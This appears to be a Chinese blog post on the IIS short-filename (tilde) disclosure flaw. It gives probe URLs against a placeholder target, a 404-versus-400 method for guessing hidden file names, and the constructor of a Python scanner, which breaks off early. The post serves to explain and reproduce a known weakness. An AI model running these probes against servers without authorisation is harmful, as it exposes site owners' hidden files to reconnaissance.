iis短文件名漏洞

漏洞简述

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

漏洞复现

  1. 构造payload查看是否具有漏洞

    1. http://www.target.com/~1***/a.aspx
    2. http://www.target.com/l1j1e*~1****/a.aspx
  2. 如果存在短文件名泄露漏洞就会出现404页面

  3. 如果输入不存在的字母出现400 bad request 确认可以利用

  4. 现在开始进行猜解,其实猜解的过程很简单就是在http://www.target.com/~1***/a.aspx第一个星号之前加上字母,看出现的是404页面还是400页面,如果出现404说明存在则继续猜解。

#!/usr/bin/env python
# encoding:utf-8
# An IIS short_name scanner   my[at]lijiejie.com  http://www.lijiejie.com    


import sys
import httplib
import urlparse
import threading
import Queue
import time


class Scanner():
    def __init__(self, target):
        self.target = target.lower()
        if not self.target.startswith('http'):
            self.target = 'http://%s' % self.target
        self.scheme, self.netloc, self.path, params, query, fragment = \
                     urlparse.urlparse(target)
        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
        self.request_method = ''
        self.msg_queue = Queue.Queue()

你可能感兴趣的:(漏洞,安全,web安全)